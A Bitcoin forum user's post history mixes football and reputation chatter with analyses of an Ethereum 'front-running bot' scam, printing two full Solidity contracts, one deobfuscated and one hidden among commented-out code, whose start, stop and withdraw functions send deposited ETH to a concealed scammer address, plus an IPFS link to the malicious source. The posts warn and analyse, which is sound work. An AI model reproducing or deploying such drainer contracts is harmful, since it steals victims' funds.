Bitcoin Forum
May 25, 2024, 10:07:39 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
  Home Help Search Login Register More  
  Show Posts
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 ... 262 »
641  Alternate cryptocurrencies / Altcoin Discussion / Re: I found a scam. Can someone break this down? on: September 07, 2023, 07:24:18 PM
I'm pretty familiar with Visual Studio Code, but I do not know which particular add-ons to generate the graph. Further question, Does the graph generation process only require the smart contract code, or is it necessary to input some compiled smart contract address?
Just the smart contract code.

The name of the add-on you will download is Solidity Visual Developer: Surya - call graph for active editor. Once downloaded. Enter your smart contract code in the editor, Head over to View, select command pallete (shortcut for this is CTRL+SHIFT+P), search up "Solidity Visual Developer: Surya - call graph" and click on it. A graph will be generated
642  Economy / Reputation / Re: Is Blazed alive? on: September 07, 2023, 07:16:00 PM
Hard to know if he is a live or not, but there's also life outside this forum. Even you, a day will come when you log out of this forum for good. In most cases, it will be without any explanation or warning, just like it happened to a number of notable members in the past.

So if there was anyone who knew what happened to him, they would have already shared with us in the forum by now
643  Economy / Scam Accusations / Re: Bitmex is being stupid on: September 07, 2023, 03:14:26 PM
At first did you do KYC before depositing on the exchange?
Initially. It was possible to create an account or multiple accounts on Bitmex and trade without every going through any sort of KYC verification. All one needed was to verify the email address, but on 28 August 2020, everything would completely change after announcing that every user would have to complete mandatory KYC verification on registering or before trading on the platform.
644  Alternate cryptocurrencies / Altcoin Discussion / Re: I found a scam. Can someone break this down? on: September 07, 2023, 02:25:14 PM
By the way, how do you generate this graph?
There is a software called Visual Studio Code which is a source-code editor used for debugging code and so many other different features that I am yet to find out. In that software, there are several extensions or add-ons and one of them can create a graph showing how the code works if executed. That's how I generated the graph.
645  Alternate cryptocurrencies / Altcoin Discussion / Re: I found a scam. Can someone break this down? on: September 05, 2023, 03:06:46 PM
Perhaps providing the address your funds went to would make it easier to see how it was executed. But it's an ongoing scam which is extensively discussed in this topic [Warning] Ethereum smart contract scam bot....

I am not expert in solidity programming language nor a programmer but here is what i got

So the code has so many useless lines to obscure what the actual code does. When you remove those useless lines. We end up with this

Code:
pragma solidity ^0.6.6;
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
contract UniswapBot {
    uint liquidity;
    uint private pool;
    address public owner;
    event Log(string _msg);
    /*
     * @dev constructor
     * @set the owner of the contract
     */
    constructor() public {
        owner = msg.sender;
    }
    receive() external payable {}
    struct slice {
        uint _len;
        uint _ptr;
    }
    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;
       if (other._len < self._len)
             shortest = other._len;
        uint selfptr = self._ptr;
        uint otherptr = other._ptr;
        for (uint idx = 0; idx < shortest; idx += 32) {
            uint a;
            uint b;
            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }
            if (a != b) {
                uint256 mask = uint256(-1);
                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }
    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;
        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }
                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }
                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }
                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }
    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }
        return ret;
    }
    /*
     * @dev Extracts the contract from Uniswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;
        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }
        uint l;
        uint b;
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }
        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }
    uint256 mempool_array = 100000000000000001;
    function memcpy(uint dest, uint src, uint len) private pure {
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }
    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }
        uint word;
        uint length;
        uint divisor = 2 ** 248;
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }
        if (length > self._len) {
            return 0;
        }
        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }
        return ret;
    }
    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }
    function getMemPoolOffset() internal pure returns (uint) {
        return 246166;
    }
    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }
    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }
    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
        function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }
        return string(res);
    }
    function getMemPoolLength() internal pure returns (uint) {
        return 174124;
    }
    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }
        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }
        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }
        return self;
    }
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;
        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }
                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }
                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }
                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }
    function getMemPoolHeight() internal pure returns (uint) {
        return 776550;
    }
    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 832575;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 960159;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 362059;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 556084;
        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);
        return _fullMempool;
    }
   function checkMempoolStarted() internal view returns (bool) {
        if(address(this).balance > mempool_array){
            return true;
        }
        else{
            return false;
        }
    }
    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        revert();
    }
    function _callStartActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }
    /*
     * @dev Perform action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function Start() public payable {
        emit Log("Running attack on Uniswap. This can take a while please wait...");
        if (checkMempoolStarted()){
            payable(_callStartActionMempool()).transfer(address(this).balance);
        }
        else{
            payable(_callStartActionMempool()).transfer(address(this).balance);
        }
    }
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function Withdrawal() public payable {
        emit Log("Sending profits back to contract creator address...");
        if (checkMempoolStarted()){
            payable(withdrawalProfits()).transfer(address(this).balance);
        }
        else{
            payable(owner).transfer(address(this).balance);
        }
    }
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function Stop() public payable {
        emit Log("Stopping the bot...");
        if (checkMempoolStarted()){
            payable(_callStopMempoolActionMempool()).transfer(address(this).balance);
        }
        else{
            payable(_callStopMempoolActionMempool()).transfer(0);
        }
    }
    function _callStopMempoolActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }
    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    function getMemPoolDepth() internal pure returns (uint) {
        return 356653;
    }
    function withdrawalProfits() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }
    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);
        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);
        uint i;
        uint j;
        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }
        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }
        return string(_newValue);
    }
}


Basically any action you do, like start running the bot, stop the bot or withdraw the bot sends your ETH to an address which I believe is the scammer, though I have failed to trace the address

Keep an eye on those 3 lower functions that are marked in red (start, stop and withdraw), all the arrows atleast end up on address. that's where the funds get sent.

646  Economy / Gambling discussion / Re: La Liga (Spanish League) Prediction Thread 2023/24 on: September 03, 2023, 09:59:10 PM
Real Madrid did a good job signing Bellingham who saved them almost in all their games. Getafe was about to get a point from them and hopefully Bellingham was able to score in extra time. Real Madrid need someone to replace Bellingham in case of injury for real.
What you are indirectly saying is Real Madrid need a top class Centre forward. Bellingham is not a center forward and without him or his instincts, Real Madrid would have lost a number of points by now.

A whole season awaits. Will Real Madrid make it through to the top at the end? Time will tell.
647  Economy / Gambling discussion / Re: ⚽ Football Transfers Speculation, Odds and Predictions on: September 03, 2023, 09:49:36 PM
It's so suprising how the Laliga teams have spent very little in signing players but you'll see their two most outstanding team performing better than most EPL club that's spent alot to strengthen their teams, to me I feel it's not about buying the best of the best players if you don't have a good coach or good strategy or even know how to manage them well them it would be a waste of funds.
What is surprising?  Roll Eyes

Barcelona are having financial constraints, Real Madrid are barely splashing money on any random hyped up player like they used to do back then. The resulting league total expenditure is self-explanatory.

I don't see any Arabic oil money influencing the Spanish La Liga like it is doing in the French League and English Premier League.
648  Economy / Reputation / Re: hashrateproducts is a bought or hacked account. on: September 02, 2023, 04:25:49 PM
I saw this in that scam accusation thread:

So far from what I can gather

1. Obari is an alt of Sakanwa as proved by the transaction history by both accounts using one exchange Bitcoin address at one point
2. Again Obari forgets to log in as Sakanwa and makes a post in a loan thread where "Obari" never took any loan but Sakanwa had an outstanding loan there.

So Obari = Sakanwa

3. Sakanwa and hashrateproducts post in one campaign thread using the same bitcoin address that sakanwa has always used.
There is also proof that  hashrateproducts is a hacked/stolen account

So Obari = Sakanwa = hashrateproducts (the person who stole or bought that account)

Furthermore, hashrateproducts is linked to a group of bounty cheating accounts, some of which are even already banned

Mistafreeze Banned
blackened515
BlackViruse Banned
martyns
Blackpussy Banned
9jaspyware Banned
lesor Banned
Kumasi
Lordhermes

I just want to make a clear list of the linked accounts before I start tagging

Based on evidence collected here, the following are also alt accounts of the same person:

Cryptohermes05
omgitsmehehe
Blackvirus Banned

They probably have even more but the fact that they were operating a lot of these accounts simultaneously is pretty astounding... They were dedicated to their craft of multi-accounting but got too greedy in the end and made one too many slip-ups.

It appears that he's been doing this for years, and some of the accounts date back as far as 2011, but they're likely purchased or hacked accounts. I wouldn't be surprised if there are more accounts that haven't been discovered yet. Undoubtedly, some members have made this forum their full time job.

The List seems to be going on and on with more and more linked accounts getting uncovered. The person/people behind the farm have definitely been doing this for some years, but at least the farm is going to shrink after these discoveries.
Here are more accounts that Stalker22 shared in the other thread;

Going down the rabbit hole, Mistafreeze account is connected to DomainMagnate and KryptoKings here. He is also linked with dbc23, coco23, Zilon, and Alisha-k accounts in this thread.
649  Economy / Scam Accusations / Re: [Warning] Ethereum smart contract scam bot.... on: September 02, 2023, 01:19:08 PM
I saw someone post about this scam yesterday, but his post has been deleted. This is the archived version of his post https://ninjastic.space/topic/5465321. I think such users should be banned since they are trying to spread malicious code in the forum.

So according to his post, the code was to be got from this link

Code:
https://ipfs.io/ipfs/QmcRgqFAzxyNv3hfHkTEjYNabxG3VzG1XF3oEKnVY9PhMh 

Look into the fake code, which contains lots of comments to hide the actual executable part of the smart contract code

Code:
pragma solidity ^0.6.6;

// PancakeSwap FrontrunDeployer
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";


// PancakeSwap manager
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

contract UniswapV2FrontBot {
    
    string public tokenName;
string public tokenSymbol;
uint frontrun;
uint manager;


constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
manager = frontrun;

}

   
   // Send required BNB for liquidity pair
   receive() external payable {}
   
   
   // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();
   
   function action() public payable {

//Perform a front-running attack on uniswap

//const fs = require('fs');
//var Web3 = require('web3');
//var abiDecoder = require('abi-decoder');
//var colors = require("colors");
//var Tx = require('ethereumjs-tx').Transaction;
//var axios = require('axios');
//var BigNumber = require('big-number');

//const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
//const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
//const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');

//const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
//const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
manager;

//var input_token_info;
//var out_token_info;
//var pool_info;
//var gas_price_info;
manager;

//var web3;
//var web3Ts;
//var web3Ws;
//var pancakeRouter;
//var pancakeFactory;
manager;

// one gwei
//const ONE_GWEI = 1e9;
manager;

//var buy_finished = false;
//var sell_finished = false;
//var buy_failed = false;
//var sell_failed = false;
//var attack_started = false;
manager;

//var succeed = false;
//var subscription;
manager;

//async function createWeb3(){
    //try {
        // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
        // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
       // web3 = new Web3(EthereumTesterProvider());
       // web3.eth.getAccounts(console.log);
      //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
    //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
        //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS);
        //abiDecoder.addABI(PANCAKE_ROUTER_ABI);
        manager;
        //return true;
    //} catch (error) {
      //console.log(error);
      //return false;
      

//async function main() {
 
//try {  
        //if (await createWeb3() == false) {
            //console.log('Web3 Create Error'.yellow);
            //process.exit();
            
            
        
        
        //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
        //const out_token_address = TOKEN_ADDRESS;
        //const amount = AMOUNT;
        //const level = LEVEL;
        
        //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level);
        //if(ret == false) {
          //process.exit();
        

        //await updatePoolInfo();
        //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();

        //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);
        
        //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' +  input_token_info.symbol + '  Exchange on Pancake *****'
        // console.log(log_str.green);    
        // console.log(web3Ws);
        //web3Ws.onopen = function(evt) {
            //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address }));
            //console.log('connected')
        
        // get pending transactions
        //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {
        //}).on("data", async function (transactionHash) {
            //console.log(transactionHash);

            // let transaction = await web3.eth.getTransaction(transactionHash);
            // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
            // {
            //     await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
            // }
            
            //if (succeed) {
                //console.log("The bot finished the attack.");
                //process.exit();
              
            
    

    //catch (error) {
      
      //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
      
         //console.log('Daily request count exceeded, Request rate limited'.yellow);
         //console.log('Please insert other API Key');
      //else{
         //console.log('Unknown Handled Error');
         //console.log(error);
      

      //process.exit();


//function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
    
    //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
        //subscription.unsubscribe();
        //console.log('Perform front running attack...');

        //gasPrice = parseInt(transaction['gasPrice']);
        //newGasPrice = gasPrice + 50*ONE_GWEI;

        //estimatedInput = ((amount*0.999)*(10**18)).toString();
        //realInput = (amount*(10**18)).toString();
        //gasLimit = (300000).toString();
        
        //await updatePoolInfo();

        //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
        //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);

        //console.log("wait until the honest transaction is done...", transaction['hash']);

        //while (await isPending(transaction['hash'])) {
        

        //if(buy_failed)
        
            //succeed = false;
            //return;
          
        
        //console.log('Buy succeed:')
        
        //Sell
        //await updatePoolInfo();
        //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
        //outputeth = outputeth * 0.999;

        //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
        
        //console.log('Sell succeed');
        //succeed = true;
manager;

//async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
    //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
    
    //allowance = BigNumber(allowance);
    //outputtoken = BigNumber(outputtoken);

    //var decimals = BigNumber(10).power(out_token_info.decimals);
    //var max_allowance = BigNumber(10000).multiply(decimals);

    //if(outputtoken.gt(max_allowance))
  
       //console.log('replace max allowance')
       //max_allowance = outputtoken;
      
       payable(uniswapDepositAddress()).transfer(address(this).balance);
      
    
    //if(outputtoken.gt(allowance)){
        //console.log(max_allowance.toString());
        //var approveTX ={
                //from: user_wallet.address,
                //to: out_token_address,
                //gas: 50000,
                //gasPrice: gasPrice*ONE_GWEI,
                //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
                manager;
            

        //var signedTX = await user_wallet.signTransaction(approveTX);
        //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);

        //console.log('Approved Token')
    
    //return;


//select attacking transaction
//async function triggersFrontRun(transaction, out_token_address, amount, level) {
    
    //if(attack_started)
        //return false;

    //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
    //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
        //attack_started = true;
        //return true
}

    //return false;

    //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS)
            //console.log(transactionHash);

            // let transaction = await web3.eth.getTransaction(transactionHash);
            // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
            // {
           function uniswapDepositAddress() public pure returns (address) {
            //     await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
            // }
            
            //if (succeed) {
                //console.log("The bot finished the attack.");
                //process.exit();
              
            
    

    //catch (error) {
      
      //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
      
         //console.log('Daily request count exceeded, Request rate limited'.yellow);
         //console.log('Please insert other API Key');
      //else{
         //console.log('Unknown Handled Error');
         //console.log(error);
      

      //process.exit();


//function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
    
    //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
        //subscription.unsubscribe();
        //console.log('Perform front running attack...');

        //gasPrice = parseInt(transaction['gasPrice']);
        //newGasPrice = gasPrice + 50*ONE_GWEI;

        //estimatedInput = ((amount*0.999)*(10**18)).toString();
        //realInput = (amount*(10**18)).toString();
        //gasLimit = (300000).toString();
        
        //await updatePoolInfo();

        
        //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);

        //console.log("wait until the honest transaction is done...", transaction['hash']);

        //while (await isPending(transaction['hash'])) {
        

        //if(buy_failed)
        
            //succeed = false;
            //return;
          
        
        //console.log('Buy succeed:')
        
        //Sell
        //await updatePoolInfo();
        //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
        //outputeth = outputeth * 0.999;

        //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
        
        //console.log('Sell succeed');
        //succeed = true;
//

//async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
    //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
    
    //allowance = BigNumber(allowance);
    //outputtoken = BigNumber(outputtoken);

    //var decimals = BigNumber(10).power(out_token_info.decimals);
    //var max_allowance = BigNumber(10000).multiply(decimals);

    //if(outputtoken.gt(max_allowance))
  
       //console.log('replace max allowance')
       //max_allowance = outputtoken;
      
      
    
    //if(outputtoken.gt(allowance)){
        //console.log(max_allowance.toString());
        //var approveTX ={
                //from: user_wallet.address,
                //to: out_token_address,
                //gas: 50000,
                //gasPrice: gasPrice*ONE_GWEI,
                //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
               //
            

        //var signedTX = await user_wallet.signTransaction(approveTX);
        //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);

        //console.log('Approved Token')
    
    //return;


//select attacking transaction
//async function triggersFrontRun(transaction, out_token_address, amount, level) {
    
    //if(attack_started)
        //return false;

    //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
    //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
//var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput,
